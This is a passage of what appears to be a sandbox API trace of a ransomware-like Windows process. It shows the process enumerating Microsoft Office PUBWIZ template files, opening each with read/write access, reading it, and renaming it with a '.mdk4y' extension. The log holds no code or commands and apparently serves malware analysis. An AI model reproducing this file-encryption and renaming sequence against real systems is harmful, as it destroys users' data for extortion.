lpOverlapped=0x0) returned 1 [0246.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832168800000) returned 1 [0246.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832168800000) returned 1 [0246.459] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DVDHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dvdhm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DVDHM.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dvdhm.poc.mdk4y")) returned 1 [0246.461] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0246.461] AreFileApisANSI () returned 1 [0246.461] GetACP () returned 0x4e4 [0246.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EMAIL.DPV", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EMAIL.DPV", lpUsedDefaultChar=0x37df4c) returned 9 [0246.461] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0246.462] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832169200000) returned 1 [0246.462] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7dc55, lpOverlapped=0x0) returned 1 [0246.505] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832173500000) returned 1 [0246.505] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832173500000) returned 1 [0246.509] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email.dpv.mdk4y")) returned 1 [0246.511] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0246.511] AreFileApisANSI () returned 1 [0246.511] GetACP () returned 0x4e4 [0246.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EMAIL.XML", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EMAIL.XML", lpUsedDefaultChar=0x37df4c) returned 9 [0246.511] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0246.512] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832174200000) returned 1 [0246.512] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd066, lpOverlapped=0x0) returned 1 [0246.572] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832180200000) returned 1 [0246.572] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832180200000) returned 1 [0246.573] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email.xml.mdk4y")) returned 1 [0246.575] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0246.575] AreFileApisANSI () returned 1 [0246.575] GetACP () returned 0x4e4 [0246.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EMAIL11.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EMAIL11.POCL", lpUsedDefaultChar=0x37df4c) returned 11 [0246.575] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email11.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0246.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832181200000) returned 1 [0246.582] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbc400, lpOverlapped=0x0) returned 1 [0246.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832184800000) returned 1 [0246.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832184800000) returned 1 [0246.624] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL11.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email11.poc.mdk4y")) returned 1 [0246.626] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0246.626] AreFileApisANSI () returned 1 [0246.626] GetACP () returned 0x4e4 [0246.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EMAILMOD.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EMAILMOD.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0246.627] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAILMOD.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\emailmod.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0246.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832185900000) returned 1 [0246.629] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a42, lpOverlapped=0x0) returned 1 [0246.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832191900000) returned 1 [0246.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832191900000) returned 1 [0246.689] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAILMOD.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\emailmod.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAILMOD.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\emailmod.poc.mdk4y")) returned 1 [0246.691] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0246.691] AreFileApisANSI () returned 1 [0246.691] GetACP () returned 0x4e4 [0246.691] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ENV11.POC", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ENV11.POCPOC", lpUsedDefaultChar=0x37df4c) returned 9 [0246.691] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENV11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\env11.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0246.692] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832192200000) returned 1 [0246.692] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc5fa, lpOverlapped=0x0) returned 1 [0246.709] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832193900000) returned 1 [0246.709] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832193900000) returned 1 [0246.709] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENV11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\env11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENV11.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\env11.poc.mdk4y")) returned 1 [0246.711] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0246.711] AreFileApisANSI () returned 1 [0246.711] GetACP () returned 0x4e4 [0246.711] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ENV98.POC", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ENV98.POC", lpUsedDefaultChar=0x37df4c) returned 9 [0246.711] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENV98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\env98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0246.713] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832194300000) returned 1 [0246.713] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a052, lpOverlapped=0x0) returned 1 [0246.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832202200000) returned 1 [0246.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832202200000) returned 1 [0246.794] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENV98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\env98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENV98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\env98.poc.mdk4y")) returned 1 [0246.795] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0246.795] AreFileApisANSI () returned 1 [0246.795] GetACP () returned 0x4e4 [0246.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ENV98SP.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ENV98SP.POCC", lpUsedDefaultChar=0x37df4c) returned 11 [0246.796] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENV98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\env98sp.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0246.797] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832202700000) returned 1 [0246.797] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4af4, lpOverlapped=0x0) returned 1 [0246.798] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832202800000) returned 1 [0246.798] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832202800000) returned 1 [0246.799] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENV98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\env98sp.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENV98SP.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\env98sp.poc.mdk4y")) returned 1 [0246.800] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0246.800] AreFileApisANSI () returned 1 [0246.800] GetACP () returned 0x4e4 [0246.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ENVELOPE.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ENVELOPE.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0246.800] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVELOPE.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envelope.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0246.801] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832203100000) returned 1 [0246.801] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x24efb, lpOverlapped=0x0) returned 1 [0246.927] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832215700000) returned 1 [0246.927] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832215700000) returned 1 [0246.928] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVELOPE.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envelope.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVELOPE.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envelope.dpv.mdk4y")) returned 1 [0246.930] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0246.930] AreFileApisANSI () returned 1 [0246.930] GetACP () returned 0x4e4 [0246.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ENVELOPE.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ENVELOPE.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0246.930] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVELOPE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envelope.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0246.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832216100000) returned 1 [0246.932] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x30de, lpOverlapped=0x0) returned 1 [0246.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832216300000) returned 1 [0246.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832216300000) returned 1 [0246.933] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVELOPE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envelope.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVELOPE.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envelope.xml.mdk4y")) returned 1 [0246.935] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0246.935] AreFileApisANSI () returned 1 [0246.935] GetACP () returned 0x4e4 [0246.935] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ENVHM.POC", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ENVHM.POCXML", lpUsedDefaultChar=0x37df4c) returned 9 [0246.935] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envhm.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0246.936] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832216600000) returned 1 [0246.936] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8a32, lpOverlapped=0x0) returned 1 [0246.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832222000000) returned 1 [0246.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832222100000) returned 1 [0246.991] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envhm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVHM.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envhm.poc.mdk4y")) returned 1 [0246.993] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0246.993] AreFileApisANSI () returned 1 [0246.993] GetACP () returned 0x4e4 [0246.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FEZIP.POC", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FEZIP.POC", lpUsedDefaultChar=0x37df4c) returned 9 [0246.993] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FEZIP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\fezip.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0246.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832222400000) returned 1 [0246.994] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1284, lpOverlapped=0x0) returned 1 [0247.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832232600000) returned 1 [0247.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832232600000) returned 1 [0247.096] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FEZIP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\fezip.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FEZIP.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\fezip.poc.mdk4y")) returned 1 [0247.098] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0247.098] AreFileApisANSI () returned 1 [0247.098] GetACP () returned 0x4e4 [0247.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FLY98SP.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FLY98SP.POCL", lpUsedDefaultChar=0x37df4c) returned 11 [0247.098] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLY98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\fly98sp.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0247.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832233000000) returned 1 [0247.100] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xfd00, lpOverlapped=0x0) returned 1 [0247.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832235600000) returned 1 [0247.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832235600000) returned 1 [0247.127] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLY98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\fly98sp.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLY98SP.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\fly98sp.poc.mdk4y")) returned 1 [0247.128] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0247.129] AreFileApisANSI () returned 1 [0247.129] GetACP () returned 0x4e4 [0247.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FLYER.DPV", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FLYER.DPVOC", lpUsedDefaultChar=0x37df4c) returned 9 [0247.129] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0247.130] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832236000000) returned 1 [0247.130] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0247.200] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832243000000) returned 1 [0247.200] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832243000000) returned 1 [0247.310] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer.dpv.mdk4y")) returned 1 [0247.311] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0247.311] AreFileApisANSI () returned 1 [0247.311] GetACP () returned 0x4e4 [0247.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FLYER.XML", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FLYER.XML", lpUsedDefaultChar=0x37df4c) returned 9 [0247.311] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0247.313] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832254300000) returned 1 [0247.313] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x13d7c, lpOverlapped=0x0) returned 1 [0247.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832257600000) returned 1 [0247.346] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832257600000) returned 1 [0247.348] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer.xml.mdk4y")) returned 1 [0247.353] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: 